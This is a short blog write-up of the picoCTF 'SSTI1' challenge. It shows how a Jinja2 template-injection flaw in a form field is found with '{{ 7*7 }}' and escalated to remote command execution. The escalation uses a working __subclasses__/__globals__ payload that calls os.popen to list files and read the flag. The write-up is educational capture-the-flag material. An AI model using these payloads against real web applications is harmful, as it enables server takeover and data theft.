P4wnda

picoCTF - SSTI1

20 Apr 2025

Overview

This picoCTF challenge involved a basic web app that allowed users to “announce whatever you want!” through a form input. Upon testing, I discovered the site was vulnerable to Server-Side Template Injection (SSTI) using Jinja2, which I escalated to Remote Code Execution (RCE).


Step 1: Input Reflection

The homepage contained an input field and an “Ok” button. Input Reflection I started by typing:

test

The result page rendered: Input Reflection

This confirmed that input was reflected directly into a rendered template.


Step 2: Detecting SSTI

I then submitted:

{{ 7*7 }}

The result:

SSTI Result

Confirmed: Jinja2 is evaluating input — the app is vulnerable to SSTI.


Step 3: Gaining RCE via Python Object Chain

I used Jinja2’s ability to traverse Python internals and executed system commands:


{{ ''.__class__ }}                              → <class 'str'>
{{ ''.__class__.__mro__ }}                      → method resolution order
{{ ''.__class__.__mro__[1] }}                   → <class 'object'>
{{ ''.__class__.__mro__[1].__subclasses__() }}  → list of all subclasses

I found the correct index (e.g., 408) with some trial and error:

 {{ ''.__class__.__mro__[1].__subclasses__()[408] }} 

Step 4: Executing Commands

Now I used that class to run system commands:

 {{ ''.__class__.__mro__[1].__subclasses__()[408].__init__.__globals__['os'].popen('ls').read() }} 

This listed the files on the server. One of them was flag.

To read the flag:

 {{ ''.__class__.__mro__[1].__subclasses__()[408].__init__.__globals__['os'].popen('cat flag').read() }} 

Boom — the flag was revealed.


Conclusion

This challenge is a textbook demonstration of how SSTI in Jinja2 can lead to full server compromise. Always validate and sanitize user input, and never pass raw data into templates.

Flag: picoCTF{example_flag_here}